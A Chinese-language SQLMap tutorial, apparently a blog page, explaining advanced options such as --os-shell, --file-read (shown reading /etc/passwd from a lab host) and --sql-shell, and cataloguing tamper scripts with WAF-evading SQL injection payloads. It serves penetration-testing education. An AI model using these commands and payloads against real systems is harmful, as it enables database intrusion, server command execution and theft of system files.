最新SQLMap进阶技术
SQLMap进阶:参数讲解
(1)–level 5:探测等级。
参数“–level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看到SQLMap使用的Payload,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解Cookie、XFF等头部注入。当然,5级的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP Cookie在等级为2时会进行测试,HTTP User-Agent/Referer头在等级为3时会进行测试。总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的等级值。
(2)–is-dba:当前用户是否有管理权限。
该命令用于查看当前账户是否为数据库管理员账户,命令如下:
python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --is-dba
在本例中输入该命令,会返回True,如图3-15所示。

(3)–roles:查看数据库用户的角色。
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,则输入该命令会列举出每个用户的角色,也可以用参数“-U”指定查看某个用户的角色。该命令仅适用于当前数据库是Oracle时。在本例中输入该命令的结果如图3-16所示。

(4)–referer:HTTP Referer头。
SQLMap可以在请求中伪造HTTP中的Referer,当参数“–level”设定为3或3以上时,会尝试对Referer注入。可以使用参数“–referer”伪造一个HTTP Referer头,如–referer http://10.211.55.6。
(5)–sql-shell:运行自定义SQL语句。
该命令用于执行指定的SQL语句,命令如下:
python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --sql-shell
假设执行“select * from security.users limit 0,2”语句,结果如图3-17所示。

(6)–os-cmd或–os-shell:运行任意操作系统命令。
当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,可以使用参数“–os-cmd”执行系统命令。如果数据库为MySQL或PostgreSQL,则SQLMap会上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),通过创建的这两个函数就可以执行系统命令。如果数据库为Microsoft SQL Server,则SQLMap将使用xp_cmdshell存储过程执行系统命令。如果xp_cmdshell被禁用(在Microsoft SQL Server 2005及以上版本中默认被禁用),则SQLMap会重新启用它;如果xp_cmdshell不存在,则SQLMap将创建它。
使用参数“–os-shell”可以模拟一个真实的Shell,与服务器进行交互。当不能执行多语句时(如PHP或ASP的后端数据库为MySQL),SQLMap可以通过SELECT语句中的INTO OUTFILE在Web服务器的可写目录中创建Web后门,从而执行命令。参数“–os-shell”支持ASP、ASP.NET、JSP和PHP四种语言。
(7)–file-read:从数据库服务器中读取执行文件。
该命令用于从数据库服务器中读取执行文件。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。下面以Microsoft SQL Server 2005为例,说明参数“–file-read”的用法,命令如下:
$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-read "/etc/passwd" -v 1
[...]
[17:45:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[17:45:15] [INFO] fingerprinting the back-end DBMS operating system
[17:45:15] [INFO] the back-end DBMS operating system is Linux
[17:45:15] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n]
[17:45:19] [INFO] the local file '/root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1012 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd (same file)
(8)–file-write和–file-dest:将本地文件写入数据库服务器。
该命令用于将本地文件写入数据库服务器。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子说明参数“–file-write”和“–file-dest”的用法,命令如下:
$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-write "./1.txt" --file-dest "/tmp/1.txt" -v 1
SQLMap自带tamper绕过脚本的讲解
为了防止注入语句中出现单引号,SQLMap默认情况下会使用CHAR()函数。除此之外,没有对注入的数据进行其他修改。读者可以通过使用参数“–tamper”对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换Payload字符编码的方式尝试绕过WAF的检测规则,命令如下:
python sqlmap.py XXXXX --tamper “模块名”
目前,官方提供了多个绕过脚本,下面是一个tamper绕过脚本的格式。
# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):return payload.replace("'", "\\'").replace('"', '\\"')
不难看出,最简洁的tamper绕过脚本的结构包含priority变量、dependencies函数和tamper函数。
(1)priority变量定义脚本的优先级,用于有多个tamper绕过脚本的情况。
(2)dependencies函数声明该脚本适用/不适用的范围,可以为空。
下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload,kwargs)函数接收payload和kwargs并返回一个Payload。下面这段代码的意思是通过正则模块匹配所有字符,将所有Payload中的字符转换为大写字母。
def tamper(payload, **kwargs):retVal = payloadif payload:for match in re.finditer(r"[A-Za-z_]+", retVal):word = match.group()if word.upper() in kb.keywords:retVal = retVal.replace(word, word.upper())return retVal
在日常使用中,我们会对一些网站是否有安全防护进行试探,可以使用参数“–identify-waf”进行检测。
下面介绍一些常用的tamper绕过脚本。
(1)apostrophemask.py。
作用:将引号替换为UTF-8格式,用于过滤单引号。
使用脚本前的语句如下:
1 AND ‘1’='1
使用脚本后的语句如下:
AND %EF%BC%871%EF%BC%87=%EF%BC%871
(2)base64encode.py。
作用:将请求参数进行Base64编码。
使用脚本前的语句如下:
1’ AND SLEEP(5)#
使用脚本后的语句如下:
MScgQU5EIFNMRUVQKDUpIw==
(3)multiplespaces.py。
作用:在SQL语句的关键字中间添加多个空格。
使用脚本前的语句如下:
1 UNION SELECT foobar
使用脚本后的语句如下:
1 UNION SELECT foobar
(4)space2plus.py。
作用:用加号(+)替换空格。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT+id+FROM+users
(5)nonrecursivereplacement.py。
作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将“SELECT”替换为空)。
使用脚本前的语句如下:
1 UNION SELECT 2–
使用脚本后的语句如下:
1 UNIOUNIONN SELESELECTCT 2–
(6)space2randomblank.py。
作用:将空格替换为其他有效字符,例如%09,%0A,%0C,%0D。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT%0Did%0DFROM%0Ausers
(7)unionalltounion.py。
作用:将“UNION ALL SELECT”替换为“UNION SELECT”。
使用脚本前的语句如下:
-1 UNION ALL SELECT
使用脚本后的语句如下:
-1 UNION SELECT
(8)securesphere.py。
作用:追加特制的字符串。
使用脚本前的语句如下:
1 AND 1=1
使用脚本后的语句如下:
1 AND 1=1 and ‘0having’=‘0having’
(9)space2hash.py。
作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。
使用脚本前的语句如下:
1 AND 9227=9227
使用脚本后的语句如下:
1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
(10)space2mssqlblank.py。
作用:将空格替换为其他空符号。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下。
SELECT%0Eid%0DFROM%07users
(11)space2mssqlhash.py。
作用:将空格替换为井字号(#),并添加一个换行符。
使用脚本前的语句如下:
1 AND 9227=9227
使用脚本后的语句如下:
1%23%0AAND%23%0A9227=9227
(12)between.py。
作用:用“NOT BETWEEN 0 AND”替换大于号(>),用“BETWEEN AND”替换等号(=)。
使用脚本前的语句如下:
1 AND A > B–
使用脚本后的语句如下:
1 AND A NOT BETWEEN 0 AND B–
使用脚本前的语句如下:
1 AND A = B–
使用脚本后的语句如下:
1 AND A BETWEEN B AND B–
(13)percentage.py。
作用:ASP语言允许在每个字符前面添加一个百分号(%)。
使用脚本前的语句如下:
SELECT FIELD FROM TABLE
使用脚本后的语句如下:
%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E
(14)sp_password.py。
作用:将“sp_password”追加到Payload的未尾。
使用脚本前的语句如下:
1 AND 9227=9227–
使用脚本后的语句如下:
1 AND 9227=9227-- sp_password
(15)charencode.py。
作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。
使用脚本前的语句如下:
SELECT FIELD FROM%20TABLE
使用脚本后的语句如下:
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
(16)randomcase.py。
作用:在SQL语句中,对关键字进行随机大小写转换。
使用脚本前的语句如下:
INSERT
使用脚本后的语句如下:
InsERt
(17)charunicodeencode.py。
作用:对SQL语句进行字符串unicode编码。
使用脚本前的语句如下:
SELECT FIELD%20FROM TABLE
使用脚本后的语句如下:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045
(18)space2comment.py。
作用:将空格替换为“/**/”。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT//id//FROM/**/users
(19)equaltolike.py。
作用:将等号(=)替换为“like”。
使用脚本前的语句如下:
SELECT * FROM users WHERE id=1
使用脚本后的语句如下:
SELECT * FROM users WHERE id LIKE 1
(20)greatest.py。
作用:绕过对“大于号(>)”的过滤,用“GREATEST”替换大于号。
使用脚本前的语句如下:
1 AND A > B
使用脚本后的语句如下:
1 AND GREATEST(A,B+1)=A
测试通过的数据库类型和版本如下。
— MySQL 4、MySQL 5.0和MySQL 5.5。
— Oracle 10g。
— PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0。
(21)ifnull2ifisnull.py。
作用:绕过对“IFNULL”的过滤,将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A), B, A)”。
使用脚本前的语句如下:
IFNULL(1, 2)
使用脚本后的语句如下:
IF(ISNULL(1),2,1)
该tamper脚本可在MySQL 5.0和MySQL 5.5数据库中使用。
(22)modsecurityversioned.py。
作用:过滤空格,通过MySQL内联注释的方式进行注入。
使用脚本前的语句如下:
1 AND 2>1–
使用脚本后的语句如下:
1 /!30874AND 2>1/–
该tamper脚本可在MySQL 5.0数据库中使用。
(23)space2mysqlblank.py。
作用:将空格替换为其他空白符号。
使用脚本前的语句如下:
SELECT id FROM users
使用脚本后的语句如下:
SELECT%A0id%0BFROM%0Cusers
该tamper脚本可在MySQL 5.1数据库中使用。
(24)modsecurityzeroversioned.py。
作用:通过MySQL内联注释的方式(/!00000/)进行注入。
使用脚本前的语句如下:
1 AND 2>1–
使用脚本后的语句如下:
1 /!00000AND 2>1/–
该tamper脚本可在MySQL 5.0数据库中使用。
(25)space2mysqldash.py。
作用:将空格替换为“–”,并添加一个换行符。
使用脚本前的语句如下。
1 AND 9227=9227
使用脚本后的语句如下。
1–%0AAND–%0A9227=9227
(26)bluecoat.py。
作用:在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等号。
使用脚本前的语句如下:
SELECT id FROM users where id = 1
使用脚本后的语句如下:
SELECT%09id FROM%09users WHERE%09id LIKE 1
该tamper脚本可在MySQL 5.1和SGOS数据库中使用。
(27)versionedkeywords.py。
作用:绕过注释。
使用脚本前的语句如下:
UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_ USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114, 117,58))#
使用脚本后的语句如下:
/!UNION**!ALL**!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58), IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
(28)halfversionedmorekeywords.py。
作用:当数据库为MySQL时,绕过防火墙,在每个关键字之前添加MySQL版本的注释。
使用脚本前的语句如下:
value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST (CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
使用脚本后的语句如下:
value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa
该tamper脚本可在MySQL 4.0.18和MySQL 5.0.22数据库中使用。
(29)space2morehash.py。
作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。
使用脚本前的语句如下:
1 AND 9227=9227
使用脚本后的语句如下:
1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227
该tamper脚本可在MySQL 5.1.41数据库中使用。
(30)apostrophenullencode.py。
作用:用非法双字节unicode字符替换单引号。
使用脚本前的语句如下:
1 AND ‘1’='1
使用脚本后的语句如下:
1 AND %00%271%00%27=%00%271
(31)appendnullbyte.py。
作用:在有效负荷的结束位置加载零字节字符编码。
使用脚本前的语句如下:
1 AND 1=1
使用脚本后的语句如下:
1 AND 1=1%00
(32)chardoubleencode.py。
作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。
使用脚本前的语句如下:
SELECT FIELD FROM%20TABLE
使用脚本后的语句如下:
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
(33)unmagicquotes.py。
作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
使用脚本前的语句如下:
1’ AND 1=1
使用脚本后的语句如下:
1%bf%27–
(34)randomcomments.py。
作用:用“/**/”分割SQL关键字。
使用脚本前的语句如下:
INSERT
使用脚本后的语句如下:
IN//S//ERT
虽然SQLMap自带的tamper绕过脚本可以做很多事情,但实际环境往往比较复杂,tamper绕过脚本无法应对所有情况,因此建议读者在学习如何使用自带的tamper绕过脚本的同时,掌握tamper绕过脚本的编写规则,这样在应对各种实战环境时能更自如。
相关文章:
最新SQLMap进阶技术
SQLMap进阶:参数讲解 (1)–level 5:探测等级。 参数“–level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看…...
【BurpSuite常用功能介绍】
BurpSuite的使用 1.运行BurpSuite 2.代理设置 打开软件后,我们第一件事就应该去调试软件和浏览器的代理,让BURP能够正常工作抓包 proxy--options,我端口默认使用8080 然后我们打开一个浏览器,进入代理设置 (注意一点࿰…...
Leetcode 108. 将有序数组转换为二叉搜索树
108. 将有序数组转换为二叉搜索树 分析 给定一个有序数组,要求转换为二叉搜索树。 数组是有序的,并且要求二叉树。 这里看到数组是有序的,马上想到二分,但是又不需要完全二分 实现。 再复习二叉搜索树的结构特点: 左…...
小匠物联联合亚马逊云助力企业数智化出海
如何让家电企业出海产品数智化之路走上康庄大道?8月25日,亚马逊云科技[创新成长企业专列]这趟上云快车将开往宁波站,助力宁波的制造、软件等企业扬帆起航!现场举办“亚马逊云科技助力企业出海数智沙龙”,小匠物联受邀出席。 会议现…...
(五)k8s实战-配置管理
一、ConfigMap 使用 kubectl create configmap -h 查看示例,构建 configmap 对象 1) 基于文件夹,加载文件夹下所有配置文件,创建 kubectl create configmap <configmapName> --from-file<dirPath>2) 指定配置文件,创…...
GPT---1234
GPT:《Improving Language Understanding by Generative Pre-Training》 下载地址:https://cdn.openai.com/research-covers/language-unsupervised/language_understanding_paper.pdfhttps://cdn.openai.com/research-covers/language-unsupervised/language_understa…...
计算机竞赛 基于大数据的时间序列股价预测分析与可视化 - lstm
文章目录 1 前言2 时间序列的由来2.1 四种模型的名称: 3 数据预览4 理论公式4.1 协方差4.2 相关系数4.3 scikit-learn计算相关性 5 金融数据的时序分析5.1 数据概况5.2 序列变化情况计算 最后 1 前言 🔥 优质竞赛项目系列,今天要分享的是 &…...
python进行数据分析:数据预处理
六大数据类型 见python基本功 import numpy as np import pandas as pd数据预处理 缺失值处理 float_data pd.Series([1.2, -3.5, np.nan, 0]) float_data0 1.2 1 -3.5 2 NaN 3 0.0 dtype: float64查看缺失值 float_data.isna()0 False 1 …...
百度Apollo:引领自动驾驶技术的创新与突破
文章目录 前言一、技术创新二、开放合作三、生态建设四、安全可靠性总结 前言 随着科技的迅猛发展,自动驾驶技术正成为未来交通领域的重要发展方向。在这个领域中,百度Apollo作为中国领先的自动驾驶平台,以其卓越的创新能力和开放合作精神&a…...
Python爬虫 异步、缓存技巧
在进行大规模数据抓取时,Python爬虫的速度和效率是至关重要的。本文将介绍如何通过异步请求、缓存和代理池等技巧来优化Python爬虫的速度和性能。我们提供了实用的方案和代码示例,帮助你加速数据抓取过程,提高爬虫的效率。 使用异步请求、缓…...
YOLOv5屏蔽区域检测(选择区域检测)
YOLOv5屏蔽区域检测以及选择区域检测 前期准备labelme选择mask区域 代码改动 前期准备 思路就是通过一个mask掩膜,对我们想要屏蔽或者选择的区域进行遮挡处理,在推理的时候,将有mask掩膜的图像输入,将最后的结果显示在原始图像上…...
记录一次presto sql执行报错 Error executing query的解决办法
在执行presto sql 时报错截图如下: 查看后台执行报错日志: java.sql.SQLException: Error executing query at com.facebook.presto.jdbc.PrestoStatement.internalExecute(PrestoStatement.java:307) at com.facebook.presto.jdbc.PrestoStatement.exe…...
Android Studio开发之路 (五)导入OpenCV以及报错解决
一、步骤 官网下载opencv包(我下的是4.7.0)并解压,openvc官网 先创建一个空项目,简单跑一下能正常输出helloworld 点击file->new->Import Module选择解压之后的opencv-android-sdk文件夹中的SDk文件夹, modu…...
vue3.3中ref和reactive原理源代码分析
源码是ts编写的,这里部分简化成js便于阅读 function ref(value) {return createRef(value, false) }function createRef(rawValue, shallow) { //shallow是否是浅层定义数据,用于区别ref和shallowRefif (isRef(rawValue)) {//如果已经是ref直接返回源数据return rawValue}retu…...
10.Oracle中decode函数
【函数格式】: decode ( expression, condition_01, result_01, condition_02, result_02, ......, condition_n, result_n, result_default) 【函数说明】: 若表达式expression值与condition_01值匹配,则返回result_01,…...
Podman安装部署kafka和管理界面(快速跑起来)
#1.拉取镜像 podman pull bitnami/zookeeper podman pull bitnami/kafka#2.创建子网 podman network create knet#3.创建zookeeper podman run -itd --name zookeeper-server -p 2181:2181 \ --net knet \ -e ALLOW_ANONYMOUS_LOGINyes \ bitnami/zookeeper:latest#3.1查看z…...
Hbase文档--架构体系
阿丹: 基础概念了解之后了解目标知识的架构体系,就能事半功倍。 架构体系 关键组件介绍: HBase – Hadoop Database,是一个高可靠性、高性能、面向列、可伸缩的分布式存储系统,利用HBase技术可在廉价PC Server上搭建起…...
stm32基于HAL库驱动外部SPI flash制作虚拟U盘
stm32基于HAL库驱动外部SPI flash制作虚拟U盘 📌参考文章:https://xiaozhuanlan.com/topic/6058234791🎞实现效果演示: 🔖上图中的读到的FLASH_ID所指的是针对不同容量,所对应的ID。 //W25X/Q不同容量对应…...
vue3-ts- element-plus新增组件-过滤
新增组件-所有值为空时过滤 <el-form-item label"家庭成员"><divclass"username-box"v-for"(item, index) in form.namelist":key"index"><div>姓名:<el-input v-model"item.name" placeho…...
PostgreSQL SQL优化
Oracle SQL优化 一、在字段里面写的子查询放到from后面,用left join,会大幅提高SQL查询速度。 一、在字段里面写的子查询放到from后面,用left join,会大幅提高SQL查询速度。...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
web vue 项目 Docker化部署
Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage):…...
Java如何权衡是使用无序的数组还是有序的数组
在 Java 中,选择有序数组还是无序数组取决于具体场景的性能需求与操作特点。以下是关键权衡因素及决策指南: ⚖️ 核心权衡维度 维度有序数组无序数组查询性能二分查找 O(log n) ✅线性扫描 O(n) ❌插入/删除需移位维护顺序 O(n) ❌直接操作尾部 O(1) ✅内存开销与无序数组相…...
为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?
在建筑行业,项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升,传统的管理模式已经难以满足现代工程的需求。过去,许多企业依赖手工记录、口头沟通和分散的信息管理,导致效率低下、成本失控、风险频发。例如&#…...
全球首个30米分辨率湿地数据集(2000—2022)
数据简介 今天我们分享的数据是全球30米分辨率湿地数据集,包含8种湿地亚类,该数据以0.5X0.5的瓦片存储,我们整理了所有属于中国的瓦片名称与其对应省份,方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...
在WSL2的Ubuntu镜像中安装Docker
Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包: for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...
Rapidio门铃消息FIFO溢出机制
关于RapidIO门铃消息FIFO的溢出机制及其与中断抖动的关系,以下是深入解析: 门铃FIFO溢出的本质 在RapidIO系统中,门铃消息FIFO是硬件控制器内部的缓冲区,用于临时存储接收到的门铃消息(Doorbell Message)。…...
Java 二维码
Java 二维码 **技术:**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...
